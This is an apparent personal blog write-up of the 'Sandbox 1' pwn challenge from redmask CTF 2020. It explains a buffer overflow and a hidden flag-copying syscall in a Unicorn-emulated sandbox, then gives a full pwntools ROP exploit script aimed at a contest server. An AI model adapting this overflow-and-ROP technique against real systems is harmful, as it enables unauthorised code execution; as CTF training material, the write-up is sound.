Sandbox 1 | redmask CTF 2020 Final
today 13 december 2020, my team is qualified for the final of redmask ctf 2020, I solve some rev and pwn challenge. in this post I will cover Sandbox 1 Challenge from redmask CTF 2020 final. it’s really cool challenge, i love it so much thanks to kyraa for this cool challenge.
Info files
we were given 2 elf file, user
, sandbox
it’s 64bit linux elf, and there’s bof bug on the user
binary, and we can also controll %rax
, %rdi
, %rsi
, %rdx
via
helper
function
the sandbox binary is also intresting, it’s look like a rust binary with unicorn emulation.
the main
function is only call 2 function first is the setup
function (just a normal binary ctf setup) and the run
function
this is the run
function
in this challenge we will focus on handle_syscall
function. here is the handle_syscall
function
as you can see, there is a dummy flag, our goal is to print that flag on the server, after an hours debugging the sandbox, I found that we can easily print out the flag
by using uc_mem_write
, according to the docs
this function is used to copy data from the sandbox to the running binary
, and on this section from handle_syscall
function
if ( value != 1337 )
goto LABEL_15;
uc_reg_read(uc, 39, fd);
uc_reg_read(uc, 43, &address);
result = uc_reg_read(uc, 40, &nbytes);
if ( *(_QWORD *)fd == 4919LL && nbytes )
result = uc_mem_write(uc, address, "redmask{ini_bukan_real_flag_seriusan_asli_bgt}", 0x2FuLL);
return result;
this function is used to copy the flag to the running process user
binary. and as you can see here, it’s copied the flag
and after doing dynamic analysis, I found that we can control the destination address via %rsi
register
now we can just print the flag without setting up the %rsi
register, so the flag will be send to a memory region on user
binary, then we use
write
syscall to print our flag, this is my exploit to solve this challenge
#!/usr/bin/env python2
'''
author : tripoloski
visit : https://tripoloski1337.github.io/
mail : arsalan.dp@gmail.com
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="debug",
terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/redmaskctf-final/pwn/sandbox1/user")
elf = ELF(TARGET)
def attach(r):
if LOCAL:
bkps = ["* 0x402175","* 0x00000000004020ed"]
gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
return
# https://docs.rs/unicorn/0.9.1/unicorn/fn.uc_mem_write.html
def exploit(r):
r = process(["./sandbox", "./user"])
attach(r)
syscall = 0x0000000000401016
pop_rdi = 0x0000000000401004
pop_rdx = 0x0000000000401008
pop_rsi = 0x0000000000401006
pop_rax = 0x000000000040100a
p = "A" * 40
p += p64(pop_rax)
p += p64(1337)
p += p64(pop_rdi)
p += p64(0x1337)
# p += p64(pop_rsi)
# p += p64(0xdeadbeef)
p += p64(pop_rdx)
p += p64(0x1337)
p += p64(syscall)
p += p64(pop_rax)
p += p64(1)
p += p64(pop_rdi)
p += p64(1)
p += p64(pop_rdx)
p += p64(0x1000)
p += p64(syscall)
r.sendline(p)
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv)==2 and sys.argv[1]=="remote":
REMOTE = True
r = remote("103.55.38.18", 20001)
else:
LOCAL = True
r = process([TARGET,])
exploit(r)
sys.exit(0)
FLAG: redmask{ez_pz__lem0n_squeezY_fix3fix3fix3fix7}